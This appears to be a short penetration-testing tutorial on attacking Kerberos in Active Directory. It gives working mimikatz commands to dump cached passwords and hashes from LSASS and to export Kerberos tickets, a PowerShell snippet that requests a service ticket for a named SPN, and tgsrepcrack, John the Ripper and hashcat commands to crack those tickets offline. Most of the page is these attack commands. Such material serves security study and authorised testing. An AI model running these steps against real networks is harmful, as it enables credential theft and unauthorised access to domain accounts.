Creating & Cracking TGS
There are a couple of weak points through which the kerberos authentication process can be hijacked to reveal sensitive information.
Cached Credentials
The user password is stored in the system memory in order to renew a TGT from a domain controller. The password is stored in the Local Security Authority Subsystem Service (LSASS) and there is no straight forward method to retrieve this password.
The user will require System or Local Administrator level permission to gain access to the hashes stored on a target.
We can use the mimikatz.exe tool to extract this information,
mimikatz.exe
privilege::debug #elevate the privilege
sekurlsa::logonpasswords #list the logon passwordsThese commands will list the uses along with their passwords in various hash formats depending on the AD configuration. NTLM or WDigest algorithms may be used.
Listing TGT & Service Tickets
Just as retrieving passwords, we can also retrieve TGT or Service Tickets using mimikatz.
mimikatz.exe
privilege::debug #elevate the privilege
sekurlsa::tickets #All the ticketsNow, in order to download the tickets, the user of that system should have requested for those tickets from TGS. But in the case where no tickets were already requested, fresh request can be made and then downloaded.
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/PWebserver.particle42.com'Using the above commands in powershell we can request for a ticket to any SPN. Then the tickets can be exported into a file using the following command within mimikatz,
kerberos::list /exportThe exported kirbi files can be cracked using kerberoast,
python /usr/share/kerberoast/tgsrepcrack.py rockyou.txt HTTP~PWebServer.particle42.com-CORP.COM.kirbiAlternatively the files can also be cracked using hashcat or john using the following commands,
John
python3 kirbi2john.py -o http_corp.john HTTP_Corp.kirbi #convert to john format
john --wordlist=pass.txt http_corp.johnHashcat
Ensure that the tickets are in hashcat format for cracking
hashcat -m 13100 http_corp_hashcat.hash pass.txtLast updated
Was this helpful?